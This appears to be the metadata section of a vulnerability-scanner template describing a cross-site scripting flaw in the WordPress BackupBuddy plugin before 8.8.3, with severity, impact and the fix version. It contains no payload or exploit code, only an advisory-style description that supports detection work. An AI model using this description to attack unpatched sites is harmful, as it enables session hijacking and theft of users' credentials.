  name: WordPress BackupBuddy <8.8.3 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 8.8.3.
